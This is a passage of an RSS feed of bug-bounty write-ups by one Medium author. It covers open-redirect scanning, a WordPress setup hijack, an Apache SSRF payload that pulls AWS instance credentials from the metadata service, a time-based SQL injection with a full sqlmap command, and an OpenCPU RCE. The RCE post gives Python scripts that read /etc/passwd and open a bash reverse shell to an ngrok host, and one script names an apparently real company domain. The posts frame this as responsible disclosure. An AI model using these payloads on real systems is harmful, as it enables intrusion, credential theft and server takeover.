using:</p><pre>pip install evilredirex</pre><h3>The Hunt: Finding Open Redirects with EvilRedirex</h3><p>Here’s how I leveraged EvilRedirex to uncover an open URL redirection vulnerability:</p><h4>Step 1: Enumerating Subdomains</h4><p>The journey began with subdomain enumeration. Using tools like Sublist3r and Amass, I compiled a comprehensive list of subdomains for the target application. Subdomain enumeration is crucial for expanding the attack surface and ensuring no entry point is overlooked.</p><h4>Step 2: Gathering URLs with HTTPX</h4><p>Next, I passed the list of subdomains to httpx, a fast and reliable HTTP client for probing web servers. This step helped me collect all reachable URLs from the subdomains:</p><pre>cat subdomains.txt | httpx -o urls.txt</pre><h4>Step 3: Scanning with EvilRedirex</h4><p>With the URLs in hand, I fed them into EvilRedirex for automated scanning:</p><pre>cat urls.txt | evilredirex</pre><p>EvilRedirex tested each URL with various payloads to identify parameters vulnerable to open redirects or XSS. Its threaded scanning capability ensured the process was fast and efficient.</p><h4>Step 4: Identifying the Vulnerability</h4><p>The tool flagged a specific URL as vulnerable to open URL redirection. Here’s an example:</p><pre> https://example.com/?return_url=https://oast.me</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*ckVy8NJPtXf6RJ5pTNXdMg.png" /><figcaption>scanning</figcaption></figure><p>By manipulating the url parameter, I confirmed that the application was redirecting users to arbitrary destinations without validation—a classic open redirect vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xDRWOIrIyygZUE7hD2dlKg.png" /><figcaption>Url Redirected to oast.me</figcaption></figure><h4>Step 5: Reporting on HackerOne</h4><p>I documented my findings, including:</p><ul><li>The vulnerable endpoint.</li><li>Steps to reproduce the issue.</li><li>Potential security risks, such as phishing attacks or malicious redirects.</li></ul><p>I submitted the report on HackerOne, and the vulnerability was acknowledged, but unfortunately it was duplicate. 😭</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g7Ngyf8LhPxCOcmW2bnqDA.png" /><figcaption>Duplicate😭</figcaption></figure><h3>Why EvilRedirex?</h3><p>EvilRedirex streamlines the vulnerability detection process, making it an invaluable tool for penetration testers. Here are some standout features:</p><ol><li><strong>Efficiency</strong>: Threaded scanning significantly reduces the time spent on large-scale assessments.</li><li><strong>Accuracy</strong>: Selenium integration ensures precise detection of complex vulnerabilities.</li><li><strong>Ease of Use</strong>: A straightforward command-line interface makes it accessible to both beginners and seasoned testers.</li></ol><h3>Get Started with EvilRedirex</h3><p>Ready to enhance your penetration testing toolkit? Install EvilRedirex from PyPI today:</p><pre>pip install evilredirex</pre><p>Explore the tool’s capabilities and start uncovering vulnerabilities in your target applications. For detailed documentation, visit the <a href="https://github.com/Evil-twinz/Evil-redirex">Github repo</a></p><h3>Conclusion</h3><p>The development of EvilRedirex underscores the importance of automation in penetration testing. By simplifying the detection of open redirects and XSS vulnerabilities, this tool not only saves time but also improves accuracy. My experience using EvilRedirex to identify and report a vulnerability on HackerOne highlights its real-world effectiveness.</p><p>If you’re a security enthusiast or a professional pentester, EvilRedirex is a must-have in your arsenal. Happy hunting!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4f3eac7f4dfa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[️‍♂️ How I Hacked a WordPress Setup and gain admin privilege(and Got Paid for It!)]]></title>
            <link>https://medium.com/@srilakivarma/%EF%B8%8F-%EF%B8%8F-how-i-hacked-a-wordpress-setup-and-gain-admin-privilege-and-got-paid-for-it-98a49433519f?source=rss-726c96545101------2</link>
            <guid isPermaLink="false">https://medium.com/p/98a49433519f</guid>
            <dc:creator><![CDATA[Srilakivarma]]></dc:creator>
            <pubDate>Sun, 15 Dec 2024 06:03:21 GMT</pubDate>
            <atom:updated>2024-12-15T06:03:21.981Z</atom:updated>
            <content:encoded><![CDATA[<p>As a bug bounty hunter and penetration tester, I often stumble upon interesting endpoints while exploring subdomains of websites. During one such reconnaissance session, I came across a potentially vulnerable endpoint that led me to a surprising discovery. Here’s the story of how I gained full administrative control over a WordPress site — and responsibly reported it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*X8PDJRB-fHVt16S7ZPT6WQ.jpeg" /><figcaption>WordPress Account Takeover</figcaption></figure><h4>🔎 The Discovery</h4><p>While performing the reconnaissance phase of a target website, I decided to enumerate its subdomains using tools like <strong>Subfinder</strong>, <strong>Sublist3r</strong>, and <strong>Assetfinder</strong>. These tools provided a comprehensive list of subdomains, which I then passed through <strong>httpx-toolkit</strong> to identify live hosts.And pass the results to <strong>Dirsearch.</strong> During this process, I stumbled upon an intriguing endpoint:</p><pre>https://example.com/wp-admin/setup-config.php?step=2</pre><p>This immediately caught my attention. The setup-config.php file is part of WordPress’s setup process, and seeing it exposed publicly is rare. It’s usually secured or removed after the initial configuration of a WordPress site. When I visited the endpoint, I was greeted with WordPress’s setup wizard, asking for database details:</p><ul><li><strong>Database Name</strong></li><li><strong>Database Username</strong></li><li><strong>Database Password</strong></li><li><strong>Database Host</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ERgAj_PbD3UfxX2ScC_jAw.png" /><figcaption>wp-admin setup endpoint</figcaption></figure><p>At this stage, I realized that the WordPress instance was still in its initial setup phase — a clear misconfiguration that posed a significant security risk.</p><h4>🔧 Setting Up the Trap</h4><p>To proceed, I needed valid database credentials. Since I didn’t have access to the target’s database, I opted for an alternative solution. I created a free account on <a href="https://freemysqlhosting.net/">freemysqlhosting.net</a> and received the following details:</p><ul><li>Database Name: exampledb</li><li>Database Username: exampleuser</li><li>Database Password: password123</li><li>Database Host: sql.freemysqlhosting.net</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wrIIoZCEwsvyJtGBGOnQ_Q.png" /><figcaption>Database Creation</figcaption></figure><p>I entered these details into the WordPress setup wizard on the target site and clicked the “Run the installation” button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M5OYhZufYm5FWL-wiQBJeg.png" /><figcaption>Installation</figcaption></figure><p>To my surprise, the setup continued without any issues, redirecting me to another page:</p><pre> https://example.com/wp-admin/install.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ddQpZL30k9I6u1WmQ4_gRg.png" /><figcaption>Install WordPress</figcaption></figure><h4>🌐 Completing the Installation</h4><p>On this page, WordPress prompted me to create the following:</p><ul><li><strong>Site Title</strong>: A title for the WordPress site.</li><li><strong>Username</strong>: The administrator username.</li><li><strong>Password</strong>: The administrator password.</li><li><strong>Email Address</strong>: The administrator’s email.</li></ul><p>Clicking the “Install WordPress” button completed the setup process, and I was able to log in to the WordPress admin dashboard with the credentials I had just created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M_htYXTklGxD_dkcawgqgg.png" /><figcaption>Already Installed</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qRxQaRhFASdH9m9WcWl7dA.png" /><figcaption>Wp-login.php</figcaption></figure><h4>⚠️ Impact Assessment</h4><p>Once inside the WordPress admin panel, I had full control over the website. This allowed me to:</p><ul><li>Modify site content.</li><li>Add or delete users.</li><li>Install or remove plugins and themes.</li><li>Execute arbitrary PHP code through plugin editors.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FqPvHeQQp0oRurf2uH7jIQ.png" /><figcaption>Wp-admin Dashboard</figcaption></figure><p>he vulnerability could easily be exploited by attackers to deface the website, host malicious content, or gain unauthorized access to sensitive data.</p><h4>🚫 Root Cause</h4><p>The exposed setup-config.php endpoint was the result of poor server configuration. Normally, this file should either be deleted after WordPress is installed or restricted to authorized users only.</p><h4>🔒 Responsible Disclosure</h4><p>After documenting my findings and impact analysis, I submitted a detailed report to the website’s security team through their bug bounty program. I highlighted the misconfiguration, explained the steps to reproduce the issue, and recommended mitigating actions such as:</p><ul><li>Securing the /wp-admin/setup-config.php file with proper permissions.</li><li>Removing setup files after installation.</li><li>Regularly auditing server configurations for exposed endpoints.</li></ul><p>The team responded promptly, acknowledged the vulnerability, and quickly fixed the issue. They also rewarded me with a generous bounty for identifying such a critical flaw.</p><h4>💡 Lessons Learned</h4><p>This experience underscores the importance of robust configuration management for web applications. As bug bounty hunters and penetration testers, we must stay vigilant for such misconfiguration, as they can lead to severe consequences if exploited by malicious actors.</p><p>If you’re an aspiring bug hunter or pen tester, remember to always:</p><ol><li><strong>🕵️ Enumerate thoroughly</strong>: Subdomains and endpoints often hold hidden treasures.</li><li><strong>🤔 Think outside the box</strong>: A free database hosting service helped me simulate a real-world attack.</li><li><strong>📢 Report responsibly</strong>: Always inform the affected parties and give them time to fix the issues.</li></ol><p>🚀 Happy hunting, and always prioritize ethical practices in your journey!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=98a49433519f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ The Journey to AWS Account Takeover via CVE-2021–40438 ]]></title>
            <link>https://medium.com/@srilakivarma/the-journey-to-aws-account-takeover-via-cve-2021-40438-eb9cdcfbb3c1?source=rss-726c96545101------2</link>
            <guid isPermaLink="false">https://medium.com/p/eb9cdcfbb3c1</guid>
            <dc:creator><![CDATA[Srilakivarma]]></dc:creator>
            <pubDate>Wed, 04 Dec 2024 11:29:32 GMT</pubDate>
            <atom:updated>2024-12-04T11:29:32.120Z</atom:updated>
            <content:encoded><![CDATA[<p>Cybersecurity is a thrilling blend of detective work 🕵️‍♂️, problem-solving 🤔, and, sometimes, uncovering things that can completely change the game. This is the story of how I stumbled upon a seemingly small vulnerability and turned it into a full-fledged AWS account takeover. Let’s dive in!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uUosYgKwAGeoBlCDoR3KIg.jpeg" /><figcaption>CVE-2021–40438 (SSRF)</figcaption></figure><h3>🔍 The Initial Clue</h3><p>One fine day, while examining a web application hosted at https://example.com, I decided to check the web server details. A simple command revealed something interesting:</p><pre>curl -X GET https://example.com -I</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h8L-ARETJBBYfLO690vt5w.png" /><figcaption>Initial Reconnaissance</figcaption></figure><p>🎉 <strong>Bingo!</strong> The response showed that the server was running <strong>Apache 2.4.6</strong>. This version is known to be vulnerable to <strong>CVE-2021–40438</strong>, a Server-Side Request Forgery (SSRF) vulnerability.</p><h3>🎯 Testing the Waters</h3><p>To confirm the vulnerability,</p><p>Refer: <a href="https://github.com/Kashkovsky/CVE-2021-40438">https://github.com/Kashkovsky/CVE-2021-40438</a></p><p>I crafted a payload and sent it through Burp Collaborator:</p><pre>https://example.com/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|https://&lt;burp-collaborator-link&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kYcN33mSEUlP4Va5Glqx_A.png" /><figcaption>Crafted Payload</figcaption></figure><p>Within moments, Burp Collaborator lit up like a Christmas tree 🎄! I received both <strong>DNS and HTTP requests</strong> from the server. The HTTP response even revealed an internal IP address, proving that SSRF was in play.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P4fw-rHcWcIkr_Rb-aTUAg.png" /><figcaption>DNS and HTTP request</figcaption></figure><p>💡 At this point, I knew the server could be manipulated to forward requests to arbitrary locations.</p><h3>🛠️ Turning Up the Heat</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*HLKsATD7MbSLGPoeFEalfQ.gif" /><figcaption>Exploitation mode</figcaption></figure><p>I decided to see just how far this vulnerability could go. While investigating the application, I discovered it was hosted on <strong>Amazon Web Services (AWS)</strong>.<br>Cloud applications often have a <strong>metadata service</strong> accessible via http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance, which can reveal critical instance information.</p><p>Time to turn up the heat 🔥! I s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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SxG5VvZhiczB9rppd94DLw.png" /><figcaption>Meta-data -SSRF</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*alR4lv6s3yr5qfFkEz5u3Q.gif" /><figcaption>Got it!</figcaption></figure><h3>🤯 The Big Reveal</h3><p>And there it was — the jackpot 🎰!<br>The response contained <strong>AWS access keys</strong> for the EC2 instance. These keys allowed me to:</p><ol><li>Authenticate with the AWS environment 🛡️.</li><li>Access AWS services and resources 🚀.</li><li>Potentially manage or take over the account entirely 💻.</li></ol><p>With these credentials in hand, the impact was clear: <strong>AWS account takeover</strong> was possible.</p><h3>💣 The Bigger Picture</h3><p>This wasn’t just about proving a point — it highlighted serious risks for the target organization:</p><ul><li>Compromised cloud infrastructure 🌩️.</li><li>Potential data breaches 📂.</li><li>Loss of control over critical services 🛑.</li></ul><h3>📝 Final Thoughts</h3><p>This journey taught me how a seemingly small misstep — like running an outdated server version — can cascade into devastating consequences.</p><p>🚨 <strong>To organizations:</strong> Always keep your systems patched and configurations locked down.<br>💡 <strong>To researchers:</strong> Stay curious, keep learning, and never underestimate a vulnerability!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*7f_B7I0EPbtG9G9HThMqmg.gif" /><figcaption>BYE !</figcaption></figure><p>📢 If you enjoyed this story, hit that share button and spread the word. Let’s make the web a safer place, one vulnerability at a time! 🌐✨</p><p><em>Follow me for more real-world hacking stories and cybersecurity insights!</em> 🚀</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eb9cdcfbb3c1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ The Hidden Flaw: SQL Injection in a File Download API Endpoint]]></title>
            <link>https://medium.com/@srilakivarma/the-hidden-flaw-sql-injection-in-a-file-download-api-endpoint-65b3819d168d?source=rss-726c96545101------2</link>
            <guid isPermaLink="false">https://medium.com/p/65b3819d168d</guid>
            <dc:creator><![CDATA[Srilakivarma]]></dc:creator>
            <pubDate>Mon, 02 Dec 2024 08:05:20 GMT</pubDate>
            <atom:updated>2024-12-02T08:05:20.218Z</atom:updated>
            <content:encoded><![CDATA[<p>In the exciting world of penetration testing and bug bounty hunting, one of the most thrilling discoveries is finding a SQL injection vulnerability that lets you manipulate the database. Recently, I stumbled upon such a vulnerability, and here’s how I uncovered and exploited it. Let’s dive in! 🚀</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2TQmoh7wbDdgEnnMsEHZNQ.jpeg" /><figcaption>SQLi in API endpoint</figcaption></figure><h4>🕵️‍♀️ Initial Reconnaissance</h4><p>While exploring the API of a target application, I captured a request using Burp Suite to the following endpoint:</p><pre>https://example.com/endpoint/ucmapi/api/files/Entityfolder/1197/downloadfile/00000000-0000-0000-0000-000000000000/favIcon/55989178-5C53-4AD3-AC43-4FE4714E8F8B/55989178-5C53-4AD3-AC43-4FE4714E8F8B</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nnjiHtQ3trRzj1L86cxDRg.png" /><figcaption>API Endpoint</figcaption></figure><p>The request downloaded a file, but it piqued my interest. Could it be vulnerable? 🤔</p><h4>🎯 Testing for Vulnerabilities</h4><p>I tested for SQL injection by appending a payload to one of the parameters in the endpoint. Here’s what I tried:</p><pre>&#39;%20waitfor%20delay&#39;0%3a0%3a20&#39;--</pre><p>When injected into the request, the modified endpoint looked like this:</p><pre>https://example.com/endpoint/ucmapi/api/files/Entityfolder/1197/downloadfile/00000000-0000-0000-0000-000000000000/favIcon/55989178-5C53-4AD3-AC43-4FE4714E8F8B&#39;%20waitfor%20delay&#39;0%3a0%3a20&#39;--/55989178-5C53-4AD3-AC43-4FE4714E8F8B</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JRrp-UwIdkG4XtGUw47O4Q.png" /><figcaption>Time-Based Sql injection</figcaption></figure><p>💡 <em>Pro Tip</em>: The payload wait for delay &#39;0:0:20&#39; is commonly used to test for time-based SQL injection. If the server delays the response, it confirms the vulnerability.</p><h4>⏱ Observing the Response</h4><p>The server’s response time matched the payload’s delay! 🕒 This behavior indicated a SQL injection vulnerability. To confirm, I tested with varying delay times, and each time, the response was consistent with the delay specified.</p><h4>🔧 Exploitation with SQLmap</h4><p>To extract database information, I turned to my trusty tool, SQLmap. Here’s the command I used:</p><pre>sqlmap -u &#39;https://example.com/endpoint/ucmapi/api/files/Entityfolder/1197/downloadfile/00000000-0000-0000-0000-000000000000/favIcon/55989178-5C53-4AD3-AC43-4FE4714E8F8B*/55989178-5C53-4AD3-AC43-4FE4714E8F8B&#39; --random-agent -dbs --no-cast --time-sec 8 --threads=5 --risk=3 --level=5 --tamper=space2comment</pre><p>Here’s a breakdown of the key options:</p><ul><li>--random-agent: Uses a random user-agent to evade detection.</li><li>--dbs: Enumerates databases.</li><li>--no-cast: Prevents typecasting of payloads.</li><li>--time-sec: Specifies the expected delay in seconds.</li><li>--risk=3 --level=5: Sets the highest levels of risk and payload depth.</li><li>--tamper=space2comment: Converts spaces to comments (/**/) for WAF bypass.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jjbxNhvED6XFwzyHjcnEcg.png" /><figcaption>sqlmap — Retrieve the data</figcaption></figure><p>I confirmed that web server is running on Microsoft ASP.net.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*W6AZxWUnPLURpw5KK41njA.png" /><figcaption>Wappalyzer -to confirm the Microsoft asp.net</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F-doZeKx8AZoombPC0QyyA.png" /><figcaption>Sqlmap -dumped the database</figcaption></figure><h4>📊 Outcome</h4><p>Using SQLmap, I successfully enumerated the database. With the vulnerability confirmed and exploited, I responsibly reported it to the application’s security team.</p><h4>🌟 Key Takeaways for Pentesters and Bug Hunters</h4><ol><li><strong>Be Curious</strong>: Always test endpoints that interact with databases or files.</li><li><strong>Master the Tools</strong>: SQLmap is a game-changer when used effectively.</li><li><strong>Craft Your Payloads</strong>: Custom tampering and payloads can bypass basic WAFs.</li><li><strong>Practice Responsible Disclosure</strong>: Always report vulnerabilities to the respective team.</li></ol><h3>✍️ Final Thoughts</h3><p>Time-based SQL injection vulnerabilities may not always be flashy, but they offer powerful opportunities to demonstrate an application’s security flaws. Stay sharp, stay curious, and happy hunting! 🐞🏹</p><p><strong>💡 What’s your favorite tool or payload for uncovering SQLi vulnerabilities? Let’s discuss in the comments!</strong></p><p>#Bugbounty #SQLinjection #Pentester #Vulnerability #OWASP 10</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=65b3819d168d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Found RCE Vulnerability in an API Endpoint]]></title>
            <link>https://medium.com/@srilakivarma/how-i-found-rce-vulnerability-in-an-api-endpoint-7cd02d77a239?source=rss-726c96545101------2</link>
            <guid isPermaLink="false">https://medium.com/p/7cd02d77a239</guid>
            <dc:creator><![CDATA[Srilakivarma]]></dc:creator>
            <pubDate>Wed, 27 Nov 2024 08:50:50 GMT</pubDate>
            <atom:updated>2024-11-28T07:30:10.057Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>How I Found RCE Vulnerability in an API Endpoint </strong>🧑‍💻🕵️‍🤑</h3><p>In my bug bounty journey, I’ve come across some interesting vulnerabilities, but this one takes the cake — a Remote Code Execution (RCE) vulnerability in an R-based API endpoint. By exploiting it, I managed to retrieve sensitive system files and even establish a reverse shell on the server. This is the story of how I did it, explained step-by-step, so it’s easy to follow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xEjOeqkCAZcCMlKtZ-elZA.png" /><figcaption>RCE (Remote Code Execution)</figcaption></figure><ul><li>— — — -+ + — — — — — — — -+ + — — — — — — — — -+ + — — — — — — — +<br> | User | — → | Vulnerable API| — → | OpenCPU Server | — → | Server Response |<br> + — — — -+ + — — — — — — — -+ + — — — — — — — — -+ + — — — — — — — +</li></ul><h4>The Vulnerable Endpoint</h4><p>While testing an application, I discovered an API endpoint that allowed users to execute R code:</p><pre>https://statistics-api.example.com/ocpu/library/base/R/do.call/json</pre><p>The idea behind this endpoint seemed simple: allow users to run R functions dynamically. However, something about it caught my eye — it didn’t seem to validate or restrict what kind of R code could be executed. This opened up a potential opportunity for exploitation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zmrSWVl_Ln0sOFp2cskT8Q.png" /><figcaption>ocpu endpoint</figcaption></figure><p>With some research, I crafted a payload that exploited the endpoint to execute arbitrary commands via R’s system() function. My goal: retrieve the contents of /etc/passwd, a file often used as a proof of concept for arbitrary file reads.</p><h4>Initial Plan: Testing for File Access</h4><p>The first thing that came to mind was to check if the API could execute shell commands. My goal? To read the /etc/passwd file, a common test to confirm unauthorized file access.</p><p>Here’s the payload I crafted:</p><pre>reverse_shell_payload = f&quot;function(x) {{ return(system(paste(&#39;cat /etc/passwd&#39;), intern = TRUE)) }}&quot;</pre><p>This payload uses R’s system function to execute the cat /etc/passwd command on the server. I wrapped it inside an R function to match the expected input format of the API.</p><p>To test it, I wrote a Python script to send a POST request to the API:</p><pre>import requests<br>import re<br><br># Disable SSL warnings<br>requests.packages.urllib3.disable_warnings()<br><br>BaseURL = &quot;https://statistics-api.example.com&quot;<br>url = f&quot;{BaseURL}/ocpu/library/base/R/do.call/json&quot;<br><br>headers = {<br>    &quot;Content-Type&quot;: &quot;application/x-www-form-urlencoded&quot;,<br>}<br><br>data = {<br>    &quot;what&quot;: reverse_shell_payload,<br>    &quot;args&quot;: &quot;{}&quot;,<br>}<br><br>response = requests.post(url, headers=headers, data=data, verify=False)<br><br>if response.status_code == 201:<br>    passwd_content = re.search(r&quot;root:.+&quot;, response.text)<br>    if passwd_content:<br>        print(&quot;/etc/passwd content:&quot;)<br>        print(passwd_content.group())<br>    else:<br>        print(&quot;Failed to extract /etc/passwd content.&quot;)<br>else:<br>    print(&quot;Execution failed. Status:&quot;, response.status_code)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8MCiEX3EA6JUVW3yHmcY3g.png" /><figcaption>/etc/passwd file retrieved</figcaption></figure><p>When I executed the script, <strong>boom</strong> — the server responded with the contents of /etc/passwd. This confirmed that the API was vulnerable to RCE!</p><h4>Escalation: Creating a Reverse Shell</h4><p>Reading files is one thing, but to demonstrate the full impact of this vulnerability, I decided to establish a reverse shell. This would allow me to control the server remotely.</p><p>Here’s the payload I used:</p><pre>reverse_shell_payload = f&quot;function(x) {{ return(system(paste(&#39;bash -c \&quot;bash -i &gt;&amp; /dev/tcp/0.tcp.in.ngrok.io/13018 0&gt;&amp;1\&quot;&#39;), intern = TRUE)) }}&quot;</pre><p>This command uses bash to open a reverse connection to my listener. I set up the listener using <a href="https://ngrok.com/">ngrok</a>, which made it easy to expose a local port to the internet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*01-5ZbtvSL340wM029ieWA.png" /><figcaption>Ngrok- listener</figcaption></figure><p>The Python script to trigger the reverse shell looked like this:</p><pre>import requests<br>import re<br>import ssl<br><br># Disable SSL warnings<br>requests.packages.urllib3.disable_warnings()<br><br># Define BaseURL<br>BaseURL = &quot;https://statistics-api.sonova.com&quot;<br><br># Construct the full payload to establish a reverse shell connection<br>reverse_shell_payload = f&quot;function(x) {{ return(system(paste(&#39;bash -c \&quot;bash -i &gt;&amp; /dev/tcp/0.tcp.in.ngrok.io/13018 0&gt;&amp;1\&quot;&#39;), intern = TRUE)) }}&quot;  # please replace with your ngrok link<br><br># Define the URL<br>url = f&quot;{BaseURL}/ocpu/library/base/R/do.call/json&quot;<br><br># Define headers<br>headers = {<br>    &quot;Content-Type&quot;: &quot;application/x-www-form-urlencoded&quot;,<br>}<br><br># Define payload data<br>data = {<br>    &quot;what&quot;: reverse_shell_payload,<br>    &quot;args&quot;: &quot;{}&quot;,<br>}<br><br># Send the request<br>response = requests.post(url, headers=headers, data=data, verify=False)<br><br># Check the response<br>if response.status_code == 201:<br>    print(&quot;Reverse shell executed successfully.&quot;)<br>else:<br>    print(&quot;Failed to execute reverse shell. Status code:&quot;, response.status_code)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dq1tNiO6olu1DPFcDxcYRA.png" /><figcaption>Reverse shell</figcaption></figure><p>After running the script, my listener received a connection, and I had full control of the server. From there, I could navigate directories, access files, and demonstrate the vulnerability’s severity.</p><h4>Conclusion</h4><p>This experience reinforced an important lesson: APIs that allow dynamic code execution are incredibly risky if not properly secured. As bug bounty hunters, we must not only find these vulnerabilities but also help organizations understand and fix them before malicious actors exploit them.</p><p>If you’re a bug bounty hunter or security enthusiast, I hope this story inspires you to look deeper into the APIs you test. You never know what you might find!</p><p>#BugBounty #CyberSecurity #EthicalHacking #RemoteCodeExecution<br>#RCE #BugBountyTips</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7cd02d77a239" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>